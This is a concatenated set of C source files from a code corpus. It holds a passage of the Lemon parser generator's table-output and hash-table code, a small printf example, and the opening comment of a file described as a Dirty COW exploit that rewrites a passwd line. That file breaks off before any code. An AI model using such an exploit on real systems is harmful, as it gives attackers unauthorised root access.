fprintf(out,"#define %sARG_SDECL %s;\n",name,lemp->arg); lineno++;
fprintf(out,"#define %sARG_PDECL ,%s\n",name,lemp->arg); lineno++;
fprintf(out,"#define %sARG_FETCH %s = yypParser->%s\n",
name,lemp->arg,&lemp->arg[i]); lineno++;
fprintf(out,"#define %sARG_STORE yypParser->%s = %s\n",
name,&lemp->arg[i],&lemp->arg[i]); lineno++;
}else{
fprintf(out,"#define %sARG_SDECL\n",name); lineno++;
fprintf(out,"#define %sARG_PDECL\n",name); lineno++;
fprintf(out,"#define %sARG_FETCH\n",name); lineno++;
fprintf(out,"#define %sARG_STORE\n",name); lineno++;
}
if( mhflag ){
fprintf(out,"#endif\n"); lineno++;
}
fprintf(out,"#define YYNSTATE %d\n",lemp->nstate); lineno++;
fprintf(out,"#define YYNRULE %d\n",lemp->nrule); lineno++;
fprintf(out,"#define YYERRORSYMBOL %d\n",lemp->errsym->index); lineno++;
fprintf(out,"#define YYERRSYMDT yy%d\n",lemp->errsym->dtnum); lineno++;
if( lemp->has_fallback ){
fprintf(out,"#define YYFALLBACK 1\n"); lineno++;
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate the action table and its associates:
**
** yy_action[] A single table containing all actions.
** yy_lookahead[] A table containing the lookahead for each entry in
** yy_action. Used to detect hash collisions.
** yy_shift_ofst[] For each state, the offset into yy_action for
** shifting terminals.
** yy_reduce_ofst[] For each state, the offset into yy_action for
** shifting non-terminals after a reduce.
** yy_default[] Default action for each state.
*/
/* Compute the actions on all states and count them up */
ax = malloc( sizeof(ax[0])*lemp->nstate*2 );
if( ax==0 ){
fprintf(stderr,"malloc failed\n");
exit(1);
}
for(i=0; i<lemp->nstate; i++){
stp = lemp->sorted[i];
stp->nTknAct = stp->nNtAct = 0;
stp->iDflt = lemp->nstate + lemp->nrule;
stp->iTknOfst = NO_OFFSET;
stp->iNtOfst = NO_OFFSET;
for(ap=stp->ap; ap; ap=ap->next){
if( compute_action(lemp,ap)>=0 ){
if( ap->sp->index<lemp->nterminal ){
stp->nTknAct++;
}else if( ap->sp->index<lemp->nsymbol ){
stp->nNtAct++;
}else{
stp->iDflt = compute_action(lemp, ap);
}
}
}
ax[i*2].stp = stp;
ax[i*2].isTkn = 1;
ax[i*2].nAction = stp->nTknAct;
ax[i*2+1].stp = stp;
ax[i*2+1].isTkn = 0;
ax[i*2+1].nAction = stp->nNtAct;
}
mxTknOfst = mnTknOfst = 0;
mxNtOfst = mnNtOfst = 0;
/* Compute the action table. In order to try to keep the size of the
** action table to a minimum, the heuristic of placing the largest action
** sets first is used.
*/
qsort(ax, lemp->nstate*2, sizeof(ax[0]), axset_compare);
pActtab = acttab_alloc();
for(i=0; i<lemp->nstate*2 && ax[i].nAction>0; i++){
stp = ax[i].stp;
if( ax[i].isTkn ){
for(ap=stp->ap; ap; ap=ap->next){
int action;
if( ap->sp->index>=lemp->nterminal ) continue;
action = compute_action(lemp, ap);
if( action<0 ) continue;
acttab_action(pActtab, ap->sp->index, action);
}
stp->iTknOfst = acttab_insert(pActtab);
if( stp->iTknOfst<mnTknOfst ) mnTknOfst = stp->iTknOfst;
if( stp->iTknOfst>mxTknOfst ) mxTknOfst = stp->iTknOfst;
}else{
for(ap=stp->ap; ap; ap=ap->next){
int action;
if( ap->sp->index<lemp->nterminal ) continue;
if( ap->sp->index==lemp->nsymbol ) continue;
action = compute_action(lemp, ap);
if( action<0 ) continue;
acttab_action(pActtab, ap->sp->index, action);
}
stp->iNtOfst = acttab_insert(pActtab);
if( stp->iNtOfst<mnNtOfst ) mnNtOfst = stp->iNtOfst;
if( stp->iNtOfst>mxNtOfst ) mxNtOfst = stp->iNtOfst;
}
}
free(ax);
/* Output the yy_action table */
fprintf(out,"static YYACTIONTYPE yy_action[] = {\n"); lineno++;
n = acttab_size(pActtab);
for(i=j=0; i<n; i++){
int action = acttab_yyaction(pActtab, i);
if( action<0 ) action = lemp->nsymbol + lemp->nrule + 2;
if( j==0 ) fprintf(out," /* %5d */ ", i);
fprintf(out, " %4d,", action);
if( j==9 || i==n-1 ){
fprintf(out, "\n"); lineno++;
j = 0;
}else{
j++;
}
}
fprintf(out, "};\n"); lineno++;
/* Output the yy_lookahead table */
fprintf(out,"static YYCODETYPE yy_lookahead[] = {\n"); lineno++;
for(i=j=0; i<n; i++){
int la = acttab_yylookahead(pActtab, i);
if( la<0 ) la = lemp->nsymbol;
if( j==0 ) fprintf(out," /* %5d */ ", i);
fprintf(out, " %4d,", la);
if( j==9 || i==n-1 ){
fprintf(out, "\n"); lineno++;
j = 0;
}else{
j++;
}
}
fprintf(out, "};\n"); lineno++;
/* Output the yy_shift_ofst[] table */
fprintf(out, "#define YY_SHIFT_USE_DFLT (%d)\n", mnTknOfst-1); lineno++;
fprintf(out, "static %s yy_shift_ofst[] = {\n",
minimum_size_type(mnTknOfst-1, mxTknOfst)); lineno++;
n = lemp->nstate;
for(i=j=0; i<n; i++){
int ofst;
stp = lemp->sorted[i];
ofst = stp->iTknOfst;
if( ofst==NO_OFFSET ) ofst = mnTknOfst - 1;
if( j==0 ) fprintf(out," /* %5d */ ", i);
fprintf(out, " %4d,", ofst);
if( j==9 || i==n-1 ){
fprintf(out, "\n"); lineno++;
j = 0;
}else{
j++;
}
}
fprintf(out, "};\n"); lineno++;
/* Output the yy_reduce_ofst[] table */
fprintf(out, "#define YY_REDUCE_USE_DFLT (%d)\n", mnNtOfst-1); lineno++;
fprintf(out, "static %s yy_reduce_ofst[] = {\n",
minimum_size_type(mnNtOfst-1, mxNtOfst)); lineno++;
n = lemp->nstate;
for(i=j=0; i<n; i++){
int ofst;
stp = lemp->sorted[i];
ofst = stp->iNtOfst;
if( ofst==NO_OFFSET ) ofst = mnNtOfst - 1;
if( j==0 ) fprintf(out," /* %5d */ ", i);
fprintf(out, " %4d,", ofst);
if( j==9 || i==n-1 ){
fprintf(out, "\n"); lineno++;
j = 0;
}else{
j++;
}
}
fprintf(out, "};\n"); lineno++;
/* Output the default action table */
fprintf(out, "static YYACTIONTYPE yy_default[] = {\n"); lineno++;
n = lemp->nstate;
for(i=j=0; i<n; i++){
stp = lemp->sorted[i];
if( j==0 ) fprintf(out," /* %5d */ ", i);
fprintf(out, " %4d,", stp->iDflt);
if( j==9 || i==n-1 ){
fprintf(out, "\n"); lineno++;
j = 0;
}else{
j++;
}
}
fprintf(out, "};\n"); lineno++;
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate the table of fallback tokens.
*/
if( lemp->has_fallback ){
for(i=0; i<lemp->nterminal; i++){
struct symbol *p = lemp->symbols[i];
if( p->fallback==0 ){
fprintf(out, " 0, /* %10s => nothing */\n", p->name);
}else{
fprintf(out, " %3d, /* %10s => %s */\n", p->fallback->index,
p->name, p->fallback->name);
}
lineno++;
}
}
tplt_xfer(lemp->name, in, out, &lineno);
/* Generate a table containing the symbolic name of every symbol
*/
for(i=0; i<lemp->nsymbol; i++){
sprintf(line,"\"%s\",",lemp->symbols[i]->name);
fprintf(out," %-15s",line);
if( (i&3)==3 ){ fprintf(out,"\n"); lineno++; }
}
if( (i&3)!=0 ){ fprintf(out,"\n"); lineno++; }
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate a table containing a text string that describes every
** rule in the rule set of the grammer. This information is used
** when tracing REDUCE actions.
*/
for(i=0, rp=lemp->rule; rp; rp=rp->next, i++){
assert( rp->index==i );
fprintf(out," /* %3d */ \"%s ::=", i, rp->lhs->name);
for(j=0; j<rp->nrhs; j++) fprintf(out," %s",rp->rhs[j]->name);
fprintf(out,"\",\n"); lineno++;
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate code which executes every time a symbol is popped from
** the stack while processing errors or while destroying the parser.
** (In other words, generate the %destructor actions)
*/
if( lemp->tokendest ){
for(i=0; i<lemp->nsymbol; i++){
struct symbol *sp = lemp->symbols[i];
if( sp==0 || sp->type!=TERMINAL ) continue;
fprintf(out," case %d:\n",sp->index); lineno++;
}
for(i=0; i<lemp->nsymbol && lemp->symbols[i]->type!=TERMINAL; i++);
if( i<lemp->nsymbol ){
emit_destructor_code(out,lemp->symbols[i],lemp,&lineno);
fprintf(out," break;\n"); lineno++;
}
}
for(i=0; i<lemp->nsymbol; i++){
struct symbol *sp = lemp->symbols[i];
if( sp==0 || sp->type==TERMINAL || sp->destructor==0 ) continue;
fprintf(out," case %d:\n",sp->index); lineno++;
/* Combine duplicate destructors into a single case */
for(j=i+1; j<lemp->nsymbol; j++){
struct symbol *sp2 = lemp->symbols[j];
if( sp2 && sp2->type!=TERMINAL && sp2->destructor
&& sp2->dtnum==sp->dtnum
&& strcmp(sp->destructor,sp2->destructor)==0 ){
fprintf(out," case %d:\n",sp2->index); lineno++;
sp2->destructor = 0;
}
}
emit_destructor_code(out,lemp->symbols[i],lemp,&lineno);
fprintf(out," break;\n"); lineno++;
}
if( lemp->vardest ){
struct symbol *dflt_sp = 0;
for(i=0; i<lemp->nsymbol; i++){
struct symbol *sp = lemp->symbols[i];
if( sp==0 || sp->type==TERMINAL ||
sp->index<=0 || sp->destructor!=0 ) continue;
fprintf(out," case %d:\n",sp->index); lineno++;
dflt_sp = sp;
}
if( dflt_sp!=0 ){
emit_destructor_code(out,dflt_sp,lemp,&lineno);
fprintf(out," break;\n"); lineno++;
}
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate code which executes whenever the parser stack overflows */
tplt_print(out,lemp,lemp->overflow,lemp->overflowln,&lineno);
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate the table of rule information
**
** Note: This code depends on the fact that rules are number
** sequentually beginning with 0.
*/
for(rp=lemp->rule; rp; rp=rp->next){
fprintf(out," { %d, %d },\n",rp->lhs->index,rp->nrhs); lineno++;
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate code which execution during each REDUCE action */
for(rp=lemp->rule; rp; rp=rp->next){
if( rp->code ) translate_code(lemp, rp);
}
for(rp=lemp->rule; rp; rp=rp->next){
struct rule *rp2;
if( rp->code==0 ) continue;
fprintf(out," case %d:\n",rp->index); lineno++;
for(rp2=rp->next; rp2; rp2=rp2->next){
if( rp2->code==rp->code ){
fprintf(out," case %d:\n",rp2->index); lineno++;
rp2->code = 0;
}
}
emit_code(out,rp,lemp,&lineno);
fprintf(out," break;\n"); lineno++;
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate code which executes if a parse fails */
tplt_print(out,lemp,lemp->failure,lemp->failureln,&lineno);
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate code which executes when a syntax error occurs */
tplt_print(out,lemp,lemp->error,lemp->errorln,&lineno);
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate code which executes when the parser accepts its input */
tplt_print(out,lemp,lemp->accept,lemp->acceptln,&lineno);
tplt_xfer(lemp->name,in,out,&lineno);
/* Append any addition code the user desires */
tplt_print(out,lemp,lemp->extracode,lemp->extracodeln,&lineno);
fclose(in);
fclose(out);
return;
}
/* Generate a header file for the parser */
void ReportHeader(lemp)
struct lemon *lemp;
{
FILE *out, *in;
char *prefix;
char line[LINESIZE];
char pattern[LINESIZE];
int i;
if( lemp->tokenprefix ) prefix = lemp->tokenprefix;
else prefix = "";
in = file_open(lemp,".h","r");
if( in ){
for(i=1; i<lemp->nterminal && fgets(line,LINESIZE,in); i++){
sprintf(pattern,"#define %s%-30s %2d\n",prefix,lemp->symbols[i]->name,i);
if( strcmp(line,pattern) ) break;
}
fclose(in);
if( i==lemp->nterminal ){
/* No change in the file. Don't rewrite it. */
return;
}
}
out = file_open(lemp,".h","w");
if( out ){
for(i=1; i<lemp->nterminal; i++){
fprintf(out,"#define %s%-30s %2d\n",prefix,lemp->symbols[i]->name,i);
}
fclose(out);
}
return;
}
/* Reduce the size of the action tables, if possible, by making use
** of defaults.
**
** In this version, we take the most frequent REDUCE action and make
** it the default. Only default a reduce if there are more than one.
*/
void CompressTables(lemp)
struct lemon *lemp;
{
struct state *stp;
struct action *ap, *ap2;
struct rule *rp, *rp2, *rbest;
int nbest, n;
int i;
for(i=0; i<lemp->nstate; i++){
stp = lemp->sorted[i];
nbest = 0;
rbest = 0;
for(ap=stp->ap; ap; ap=ap->next){
if( ap->type!=REDUCE ) continue;
rp = ap->x.rp;
if( rp==rbest ) continue;
n = 1;
for(ap2=ap->next; ap2; ap2=ap2->next){
if( ap2->type!=REDUCE ) continue;
rp2 = ap2->x.rp;
if( rp2==rbest ) continue;
if( rp2==rp ) n++;
}
if( n>nbest ){
nbest = n;
rbest = rp;
}
}
/* Do not make a default if the number of rules to default
** is not at least 2 */
if( nbest<2 ) continue;
/* Combine matching REDUCE actions into a single default */
for(ap=stp->ap; ap; ap=ap->next){
if( ap->type==REDUCE && ap->x.rp==rbest ) break;
}
assert( ap );
ap->sp = Symbol_new("{default}");
for(ap=ap->next; ap; ap=ap->next){
if( ap->type==REDUCE && ap->x.rp==rbest ) ap->type = NOT_USED;
}
stp->ap = Action_sort(stp->ap);
}
}
/***************** From the file "set.c" ************************************/
/*
** Set manipulation routines for the LEMON parser generator.
*/
static int size = 0;
/* Set the set size */
void SetSize(n)
int n;
{
size = n+1;
}
/* Allocate a new set */
char *SetNew(){
char *s;
int i;
s = (char*)malloc( size );
if( s==0 ){
extern void memory_error();
memory_error();
}
for(i=0; i<size; i++) s[i] = 0;
return s;
}
/* Deallocate a set */
void SetFree(s)
char *s;
{
free(s);
}
/* Add a new element to the set. Return TRUE if the element was added
** and FALSE if it was already there. */
int SetAdd(s,e)
char *s;
int e;
{
int rv;
rv = s[e];
s[e] = 1;
return !rv;
}
/* Add every element of s2 to s1. Return TRUE if s1 changes. */
int SetUnion(s1,s2)
char *s1;
char *s2;
{
int i, progress;
progress = 0;
for(i=0; i<size; i++){
if( s2[i]==0 ) continue;
if( s1[i]==0 ){
progress = 1;
s1[i] = 1;
}
}
return progress;
}
/********************** From the file "table.c" ****************************/
/*
** All code in this file has been automatically generated
** from a specification in the file
** "table.q"
** by the associative array code building program "aagen".
** Do not edit this file! Instead, edit the specification
** file, then rerun aagen.
*/
/*
** Code for processing tables in the LEMON parser generator.
*/
PRIVATE int strhash(x)
char *x;
{
int h = 0;
while( *x) h = h*13 + *(x++);
return h;
}
/* Works like strdup, sort of. Save a string in malloced memory, but
** keep strings in a table so that the same string is not in more
** than one place.
*/
char *Strsafe(y)
char *y;
{
char *z;
z = Strsafe_find(y);
if( z==0 && (z=malloc( strlen(y)+1 ))!=0 ){
strcpy(z,y);
Strsafe_insert(z);
}
MemoryCheck(z);
return z;
}
/* There is one instance of the following structure for each
** associative array of type "x1".
*/
struct s_x1 {
int size; /* The number of available slots. */
/* Must be a power of 2 greater than or */
/* equal to 1 */
int count; /* Number of currently slots filled */
struct s_x1node *tbl; /* The data stored here */
struct s_x1node **ht; /* Hash table for lookups */
};
/* There is one instance of this structure for every data element
** in an associative array of type "x1".
*/
typedef struct s_x1node {
char *data; /* The data */
struct s_x1node *next; /* Next entry with the same hash */
struct s_x1node **from; /* Previous link */
} x1node;
/* There is only one instance of the array, which is the following */
static struct s_x1 *x1a;
/* Allocate a new associative array */
void Strsafe_init(){
if( x1a ) return;
x1a = (struct s_x1*)malloc( sizeof(struct s_x1) );
if( x1a ){
x1a->size = 1024;
x1a->count = 0;
x1a->tbl = (x1node*)malloc(
(sizeof(x1node) + sizeof(x1node*))*1024 );
if( x1a->tbl==0 ){
free(x1a);
x1a = 0;
}else{
int i;
x1a->ht = (x1node**)&(x1a->tbl[1024]);
for(i=0; i<1024; i++) x1a->ht[i] = 0;
}
}
}
/* Insert a new record into the array. Return TRUE if successful.
** Prior data with the same key is NOT overwritten */
int Strsafe_insert(data)
char *data;
{
x1node *np;
int h;
int ph;
if( x1a==0 ) return 0;
ph = strhash(data);
h = ph & (x1a->size-1);
np = x1a->ht[h];
while( np ){
if( strcmp(np->data,data)==0 ){
/* An existing entry with the same key is found. */
/* Fail because overwrite is not allows. */
return 0;
}
np = np->next;
}
if( x1a->count>=x1a->size ){
/* Need to make the hash table bigger */
int i,size;
struct s_x1 array;
array.size = size = x1a->size*2;
array.count = x1a->count;
array.tbl = (x1node*)malloc(
(sizeof(x1node) + sizeof(x1node*))*size );
if( array.tbl==0 ) return 0; /* Fail due to malloc failure */
array.ht = (x1node**)&(array.tbl[size]);
for(i=0; i<size; i++) array.ht[i] = 0;
for(i=0; i<x1a->count; i++){
x1node *oldnp, *newnp;
oldnp = &(x1a->tbl[i]);
h = strhash(oldnp->data) & (size-1);
newnp = &(array.tbl[i]);
if( array.ht[h] ) array.ht[h]->from = &(newnp->next);
newnp->next = array.ht[h];
newnp->data = oldnp->data;
newnp->from = &(array.ht[h]);
array.ht[h] = newnp;
}
free(x1a->tbl);
*x1a = array;
}
/* Insert the new data */
h = ph & (x1a->size-1);
np = &(x1a->tbl[x1a->count++]);
np->data = data;
if( x1a->ht[h] ) x1a->ht[h]->from = &(np->next);
np->next = x1a->ht[h];
x1a->ht[h] = np;
np->from = &(x1a->ht[h]);
return 1;
}
/* Return a pointer to data assigned to the given key. Return NULL
** if no such key. */
char *Strsafe_find(key)
char *key;
{
int h;
x1node *np;
if( x1a==0 ) return 0;
h = strhash(key) & (x1a->size-1);
np = x1a->ht[h];
while( np ){
if( strcmp(np->data,key)==0 ) break;
np = np->next;
}
return np ? np->data : 0;
}
/* Return a pointer to the (terminal or nonterminal) symbol "x".
** Create a new symbol if this is the first time "x" has been seen.
*/
struct symbol *Symbol_new(x)
char *x;
{
struct symbol *sp;
sp = Symbol_find(x);
if( sp==0 ){
sp = (struct symbol *)malloc( sizeof(struct symbol) );
MemoryCheck(sp);
sp->name = Strsafe(x);
sp->type = isupper(*x) ? TERMINAL : NONTERMINAL;
sp->rule = 0;
sp->fallback = 0;
sp->prec = -1;
sp->assoc = UNK;
sp->firstset = 0;
sp->lambda = B_FALSE;
sp->destructor = 0;
sp->datatype = 0;
Symbol_insert(sp,sp->name);
}
return sp;
}
/* Compare two symbols for working purposes
**
** Symbols that begin with upper case letters (terminals or tokens)
** must sort before symbols that begin with lower case letters
** (non-terminals). Other than that, the order does not matter.
**
** We find experimentally that leaving the symbols in their original
** order (the order they appeared in the grammar file) gives the
** smallest parser tables in SQLite.
*/
int Symbolcmpp(struct symbol **a, struct symbol **b){
int i1 = (**a).index + 10000000*((**a).name[0]>'Z');
int i2 = (**b).index + 10000000*((**b).name[0]>'Z');
return i1-i2;
}
/* There is one instance of the following structure for each
** associative array of type "x2".
*/
struct s_x2 {
int size; /* The number of available slots. */
/* Must be a power of 2 greater than or */
/* equal to 1 */
int count; /* Number of currently slots filled */
struct s_x2node *tbl; /* The data stored here */
struct s_x2node **ht; /* Hash table for lookups */
};
/* There is one instance of this structure for every data element
** in an associative array of type "x2".
*/
typedef struct s_x2node {
struct symbol *data; /* The data */
char *key; /* The key */
struct s_x2node *next; /* Next entry with the same hash */
struct s_x2node **from; /* Previous link */
} x2node;
/* There is only one instance of the array, which is the following */
static struct s_x2 *x2a;
/* Allocate a new associative array */
void Symbol_init(){
if( x2a ) return;
x2a = (struct s_x2*)malloc( sizeof(struct s_x2) );
if( x2a ){
x2a->size = 128;
x2a->count = 0;
x2a->tbl = (x2node*)malloc(
(sizeof(x2node) + sizeof(x2node*))*128 );
if( x2a->tbl==0 ){
free(x2a);
x2a = 0;
}else{
int i;
x2a->ht = (x2node**)&(x2a->tbl[128]);
for(i=0; i<128; i++) x2a->ht[i] = 0;
}
}
}
/* Insert a new record into the array. Return TRUE if successful.
** Prior data with the same key is NOT overwritten */
int Symbol_insert(data,key)
struct symbol *data;
char *key;
{
x2node *np;
int h;
int ph;
if( x2a==0 ) return 0;
ph = strhash(key);
h = ph & (x2a->size-1);
np = x2a->ht[h];
while( np ){
if( strcmp(np->key,key)==0 ){
/* An existing entry with the same key is found. */
/* Fail because overwrite is not allows. */
return 0;
}
np = np->next;
}
if( x2a->count>=x2a->size ){
/* Need to make the hash table bigger */
int i,size;
struct s_x2 array;
array.size = size = x2a->size*2;
array.count = x2a->count;
array.tbl = (x2node*)malloc(
(sizeof(x2node) + sizeof(x2node*))*size );
if( array.tbl==0 ) return 0; /* Fail due to malloc failure */
array.ht = (x2node**)&(array.tbl[size]);
for(i=0; i<size; i++) array.ht[i] = 0;
for(i=0; i<x2a->count; i++){
x2node *oldnp, *newnp;
oldnp = &(x2a->tbl[i]);
h = strhash(oldnp->key) & (size-1);
newnp = &(array.tbl[i]);
if( array.ht[h] ) array.ht[h]->from = &(newnp->next);
newnp->next = array.ht[h];
newnp->key = oldnp->key;
newnp->data = oldnp->data;
newnp->from = &(array.ht[h]);
array.ht[h] = newnp;
}
free(x2a->tbl);
*x2a = array;
}
/* Insert the new data */
h = ph & (x2a->size-1);
np = &(x2a->tbl[x2a->count++]);
np->key = key;
np->data = data;
if( x2a->ht[h] ) x2a->ht[h]->from = &(np->next);
np->next = x2a->ht[h];
x2a->ht[h] = np;
np->from = &(x2a->ht[h]);
return 1;
}
/* Return a pointer to data assigned to the given key. Return NULL
** if no such key. */
struct symbol *Symbol_find(key)
char *key;
{
int h;
x2node *np;
if( x2a==0 ) return 0;
h = strhash(key) & (x2a->size-1);
np = x2a->ht[h];
while( np ){
if( strcmp(np->key,key)==0 ) break;
np = np->next;
}
return np ? np->data : 0;
}
/* Return the n-th data. Return NULL if n is out of range. */
struct symbol *Symbol_Nth(n)
int n;
{
struct symbol *data;
if( x2a && n>0 && n<=x2a->count ){
data = x2a->tbl[n-1].data;
}else{
data = 0;
}
return data;
}
/* Return the size of the array */
int Symbol_count()
{
return x2a ? x2a->count : 0;
}
/* Return an array of pointers to all data in the table.
** The array is obtained from malloc. Return NULL if memory allocation
** problems, or if the array is empty. */
struct symbol **Symbol_arrayof()
{
struct symbol **array;
int i,size;
if( x2a==0 ) return 0;
size = x2a->count;
array = (struct symbol **)malloc( sizeof(struct symbol *)*size );
if( array ){
for(i=0; i<size; i++) array[i] = x2a->tbl[i].data;
}
return array;
}
/* Compare two configurations */
int Configcmp(a,b)
struct config *a;
struct config *b;
{
int x;
x = a->rp->index - b->rp->index;
if( x==0 ) x = a->dot - b->dot;
return x;
}
/* Compare two states */
PRIVATE int statecmp(a,b)
struct config *a;
struct config *b;
{
int rc;
for(rc=0; rc==0 && a && b; a=a->bp, b=b->bp){
rc = a->rp->index - b->rp->index;
if( rc==0 ) rc = a->dot - b->dot;
}
if( rc==0 ){
if( a ) rc = 1;
if( b ) rc = -1;
}
return rc;
}
/* Hash a state */
PRIVATE int statehash(a)
struct config *a;
{
int h=0;
while( a ){
h = h*571 + a->rp->index*37 + a->dot;
a = a->bp;
}
return h;
}
/* Allocate a new state structure */
struct state *State_new()
{
struct state *new;
new = (struct state *)malloc( sizeof(struct state) );
MemoryCheck(new);
return new;
}
/* There is one instance of the following structure for each
** associative array of type "x3".
*/
struct s_x3 {
int size; /* The number of available slots. */
/* Must be a power of 2 greater than or */
/* equal to 1 */
int count; /* Number of currently slots filled */
struct s_x3node *tbl; /* The data stored here */
struct s_x3node **ht; /* Hash table for lookups */
};
/* There is one instance of this structure for every data element
** in an associative array of type "x3".
*/
typedef struct s_x3node {
struct state *data; /* The data */
struct config *key; /* The key */
struct s_x3node *next; /* Next entry with the same hash */
struct s_x3node **from; /* Previous link */
} x3node;
/* There is only one instance of the array, which is the following */
static struct s_x3 *x3a;
/* Allocate a new associative array */
void State_init(){
if( x3a ) return;
x3a = (struct s_x3*)malloc( sizeof(struct s_x3) );
if( x3a ){
x3a->size = 128;
x3a->count = 0;
x3a->tbl = (x3node*)malloc(
(sizeof(x3node) + sizeof(x3node*))*128 );
if( x3a->tbl==0 ){
free(x3a);
x3a = 0;
}else{
int i;
x3a->ht = (x3node**)&(x3a->tbl[128]);
for(i=0; i<128; i++) x3a->ht[i] = 0;
}
}
}
/* Insert a new record into the array. Return TRUE if successful.
** Prior data with the same key is NOT overwritten */
int State_insert(data,key)
struct state *data;
struct config *key;
{
x3node *np;
int h;
int ph;
if( x3a==0 ) return 0;
ph = statehash(key);
h = ph & (x3a->size-1);
np = x3a->ht[h];
while( np ){
if( statecmp(np->key,key)==0 ){
/* An existing entry with the same key is found. */
/* Fail because overwrite is not allows. */
return 0;
}
np = np->next;
}
if( x3a->count>=x3a->size ){
/* Need to make the hash table bigger */
int i,size;
struct s_x3 array;
array.size = size = x3a->size*2;
array.count = x3a->count;
array.tbl = (x3node*)malloc(
(sizeof(x3node) + sizeof(x3node*))*size );
if( array.tbl==0 ) return 0; /* Fail due to malloc failure */
array.ht = (x3node**)&(array.tbl[size]);
for(i=0; i<size; i++) array.ht[i] = 0;
for(i=0; i<x3a->count; i++){
x3node *oldnp, *newnp;
oldnp = &(x3a->tbl[i]);
h = statehash(oldnp->key) & (size-1);
newnp = &(array.tbl[i]);
if( array.ht[h] ) array.ht[h]->from = &(newnp->next);
newnp->next = array.ht[h];
newnp->key = oldnp->key;
newnp->data = oldnp->data;
newnp->from = &(array.ht[h]);
array.ht[h] = newnp;
}
free(x3a->tbl);
*x3a = array;
}
/* Insert the new data */
h = ph & (x3a->size-1);
np = &(x3a->tbl[x3a->count++]);
np->key = key;
np->data = data;
if( x3a->ht[h] ) x3a->ht[h]->from = &(np->next);
np->next = x3a->ht[h];
x3a->ht[h] = np;
np->from = &(x3a->ht[h]);
return 1;
}
/* Return a pointer to data assigned to the given key. Return NULL
** if no such key. */
struct state *State_find(key)
struct config *key;
{
int h;
x3node *np;
if( x3a==0 ) return 0;
h = statehash(key) & (x3a->size-1);
np = x3a->ht[h];
while( np ){
if( statecmp(np->key,key)==0 ) break;
np = np->next;
}
return np ? np->data : 0;
}
/* Return an array of pointers to all data in the table.
** The array is obtained from malloc. Return NULL if memory allocation
** problems, or if the array is empty. */
struct state **State_arrayof()
{
struct state **array;
int i,size;
if( x3a==0 ) return 0;
size = x3a->count;
array = (struct state **)malloc( sizeof(struct state *)*size );
if( array ){
for(i=0; i<size; i++) array[i] = x3a->tbl[i].data;
}
return array;
}
/* Hash a configuration */
PRIVATE int confighash(a)
struct config *a;
{
int h=0;
h = h*571 + a->rp->index*37 + a->dot;
return h;
}
/* There is one instance of the following structure for each
** associative array of type "x4".
*/
struct s_x4 {
int size; /* The number of available slots. */
/* Must be a power of 2 greater than or */
/* equal to 1 */
int count; /* Number of currently slots filled */
struct s_x4node *tbl; /* The data stored here */
struct s_x4node **ht; /* Hash table for lookups */
};
/* There is one instance of this structure for every data element
** in an associative array of type "x4".
*/
typedef struct s_x4node {
struct config *data; /* The data */
struct s_x4node *next; /* Next entry with the same hash */
struct s_x4node **from; /* Previous link */
} x4node;
/* There is only one instance of the array, which is the following */
static struct s_x4 *x4a;
/* Allocate a new associative array */
void Configtable_init(){
if( x4a ) return;
x4a = (struct s_x4*)malloc( sizeof(struct s_x4) );
if( x4a ){
x4a->size = 64;
x4a->count = 0;
x4a->tbl = (x4node*)malloc(
(sizeof(x4node) + sizeof(x4node*))*64 );
if( x4a->tbl==0 ){
free(x4a);
x4a = 0;
}else{
int i;
x4a->ht = (x4node**)&(x4a->tbl[64]);
for(i=0; i<64; i++) x4a->ht[i] = 0;
}
}
}
/* Insert a new record into the array. Return TRUE if successful.
** Prior data with the same key is NOT overwritten */
int Configtable_insert(data)
struct config *data;
{
x4node *np;
int h;
int ph;
if( x4a==0 ) return 0;
ph = confighash(data);
h = ph & (x4a->size-1);
np = x4a->ht[h];
while( np ){
if( Configcmp(np->data,data)==0 ){
/* An existing entry with the same key is found. */
/* Fail because overwrite is not allows. */
return 0;
}
np = np->next;
}
if( x4a->count>=x4a->size ){
/* Need to make the hash table bigger */
int i,size;
struct s_x4 array;
array.size = size = x4a->size*2;
array.count = x4a->count;
array.tbl = (x4node*)malloc(
(sizeof(x4node) + sizeof(x4node*))*size );
if( array.tbl==0 ) return 0; /* Fail due to malloc failure */
array.ht = (x4node**)&(array.tbl[size]);
for(i=0; i<size; i++) array.ht[i] = 0;
for(i=0; i<x4a->count; i++){
x4node *oldnp, *newnp;
oldnp = &(x4a->tbl[i]);
h = confighash(oldnp->data) & (size-1);
newnp = &(array.tbl[i]);
if( array.ht[h] ) array.ht[h]->from = &(newnp->next);
newnp->next = array.ht[h];
newnp->data = oldnp->data;
newnp->from = &(array.ht[h]);
array.ht[h] = newnp;
}
free(x4a->tbl);
*x4a = array;
}
/* Insert the new data */
h = ph & (x4a->size-1);
np = &(x4a->tbl[x4a->count++]);
np->data = data;
if( x4a->ht[h] ) x4a->ht[h]->from = &(np->next);
np->next = x4a->ht[h];
x4a->ht[h] = np;
np->from = &(x4a->ht[h]);
return 1;
}
/* Return a pointer to data assigned to the given key. Return NULL
** if no such key. */
struct config *Configtable_find(key)
struct config *key;
{
int h;
x4node *np;
if( x4a==0 ) return 0;
h = confighash(key) & (x4a->size-1);
np = x4a->ht[h];
while( np ){
if( Configcmp(np->data,key)==0 ) break;
np = np->next;
}
return np ? np->data : 0;
}
/* Remove all data from the table. Pass each data to the function "f"
** as it is removed. ("f" may be null to avoid this step.) */
void Configtable_clear(f)
int(*f)(/* struct config * */);
{
int i;
if( x4a==0 || x4a->count==0 ) return;
if( f ) for(i=0; i<x4a->count; i++) (*f)(x4a->tbl[i].data);
for(i=0; i<x4a->size; i++) x4a->ht[i] = 0;
x4a->count = 0;
return;
}
|
the_stack_data/151705413.c
|
#include <stdio.h>
int main(void) {
float aboat = 32000.0;
double abet = 2.14e9;
long double dip = 5.32e-5;
printf("%f can be writter %e\n", aboat, aboat);
printf("And is's %a in hexadecimal, powers of 2 notation\n", aboat);
printf("%f can be written %e\n", abet, abet);
printf("%Lf can be written %Le\n", dip, dip);
return 0;
}
|
the_stack_data/441072.c
|
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
